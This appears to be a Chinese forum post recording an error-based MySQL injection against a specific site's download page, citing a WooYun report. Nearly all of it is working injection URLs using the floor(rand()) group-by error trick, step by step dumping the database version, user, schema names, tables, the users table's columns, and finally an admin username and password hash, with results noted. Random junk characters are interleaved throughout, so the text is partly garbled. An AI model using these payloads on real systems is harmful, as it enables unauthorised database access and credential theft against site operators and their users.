php+mysql高级爆错注入经测算有效

admin

http://www.wooyun.org/bugs/wooyun-2010-01666

. ?) y  q3 d5 _1 @之前想找个测试 没想到这有 可以测试下做个记录而已
6 m( N& A$ d4 U$ t
http://xxoo/download/downpage/netarea/id/1600003'+and+(select+1+from(select+count(*),concat(0x7c,(select+(Select+version())+from+information_schema.tables+limit+0,1),0x7c,floor(rand(0)*2))x+from+information_schema.tables+group+by+x+limit+0,1)a)%23/wapc/5000_0005_003
& X& N1 }- |" j) `, V" r
9 |9 _8 ~6 S* l3 y# ]4 e) N# G/data0/htdocs/leqi_new/app/myapp.php

5 e; @' R! s" F! o: o. O! m 或者

3 ?- r2 `6 G$ C2 t/**********version()**********/ 5.1.49-log
$ j& K2 e- n2 j% _8 e" e$ b1 |. E# b* Chttp:///download/downpage/netarea/id/1600003'+or+1=(select+1+from+(select+count(*),concat((SELECT+version()),floor(rand(0)*2))x+from+information_schema.tables+group+by+x)a)%23/wapc/5000_0005_003
; h  R; Z; L3 ]) X! z
$ N4 _- p# I- C: f7 s/**********user()**********/  
. `- Y4 w/ x$ d! W. ^http:///download/downpage/netarea/id/1600003'+or+1=(select+1+from+(select+count(*),concat((SELECT+user()),floor(rand(0)*2))x+from+information_schema.tables+group+by+x)a)%23/wapc/5000_0005_003
7 l0 D! |  F$ j; g. }) I- H! G
/**********database()**********/  leqi
. X2 o5 o. ?% _, Y. ^http:///download/downpage/netarea/id/1600003'+or+1=(select+1+from+(select+count(*),concat((SELECT+database()),floor(rand(0)*2))x+from+information_schema.tables+group+by+x)a)%23/wapc/5000_0005_003
4 ?. P# l% G5 O6 X( o
! _  ~! S  T* y  W. I/**********limit依次递归爆库**********/
: e* o8 Y$ ?/ F& g/ ehttp:///download/downpage/netarea/id/1600003'+or+1=(select+1+from+(select+count(*),concat((SELECT+schema_name+from+information_schema.schemata+limit+0,1),floor(rand(0)*2))x+from+information_schema.tables+group+by+x)a)%23/wapc/5000_0005_003
information_schema
  D) S; ~4 q" ohttp:///download/downpage/netarea/id/1600003'+or+1=(select+1+from+(select+count(*),concat((SELECT+schema_name+from+information_schema.schemata+limit+1,1),floor(rand(0)*2))x+from+information_schema.tables+group+by+x)a)%23/wapc/5000_0005_003
leqi
http:///download/downpage/netarea/id/1600003'+or+1=(select+1+from+(select+count(*),concat((SELECT+schema_name+from+information_schema.schemata+limit+2,1),floor(rand(0)*2))x+from+information_schema.tables+group+by+x)a)%23/wapc/5000_0005_003
test
" y0 }' B1 e) a1 V
4 F% o; x+ S. S5 H3 w/**********limit依次递归爆表名**********/
http:///download/downpage/netarea/id/1600003'+or+1=(select+1+from+(select+count(*),concat((SELECT+table_name+from+information_schema.tables+where+table_schema=0x6C657169+limit+200,1),floor(rand(0)*2))x+from+information_schema.tables+group+by+x)a)%23/wapc/5000_0005_003
6 l0 K4 s* E7 i( c% J3 Pusers
% G, `4 |  }8 d5 F0 v
2 e7 z  y* t5 f2 g) n( V. ]/**********limit依次递归爆字段名**********/
http:///download/downpage/netarea/id/1600003'+or+1=(select+1+from+(select+count(*),concat((SELECT+column_name+from+information_schema.columns+where+table_schema=0x6C657169+and+table_name=0x7573657273+limit+3,1),floor(rand(0)*2))x+from+information_schema.tables+group+by+x)a)%23/wapc/5000_0005_003
user_id,username,nickname,passwd,group_id
3 \# X, ]/ {! }( h! mhttp:///download/downpage/netarea/id/1600003'+or+1=(select+1+from+(select+count(*),concat((SELECT+group_id+from+users+limit+0,1),floor(rand(0)*2))x+from+information_schema.tables+group+by+x)a)%23
" T- D  h6 L* J' D) D7 z/wapc/5000_0005_003
11 21
http:///download/downpage/netarea/id/1600003'+or+1=(select+1+from+(select+count(*),concat((SELECT+user_id+from+users+limit+1,1),floor(rand(0)*2))x+from+information_schema.tables+group+by+x)a)%23
/ \7 @$ W: t# U: h3 i* w2 _/wapc/5000_0005_003
# M5 v- ^# w4 E) t+ k0 P11 341 351 361
4 L8 [2 q* Q, [- _* ]7 i/**********爆数据**********/
http:///download/downpage/netarea/id/1600003'+or+1=(select+1+from+(select+count(*),concat((SELECT+username+from+users+limit+0,1),floor(rand(0)*2))x+from+information_schema.tables+group+by+x)a)%23
# y/ C, \+ H$ T- qadmin
, p3 ~$ f2 g# [) Mhttp:///download/downpage/netarea/id/1600003'+or+1=(select+1+from+(select+count(*),concat((SELECT+passwd+from+users+limit+0,1),floor(rand(0)*2))x+from+information_schema.tables+group+by+x)a)%23
& ^* @5 |( ]  t/ B+ g0 q6 }+ x: O6a8b4574ca231eb8bd52764d4978ffcd

& n  T( S* Y/ q2 Y: h# y, B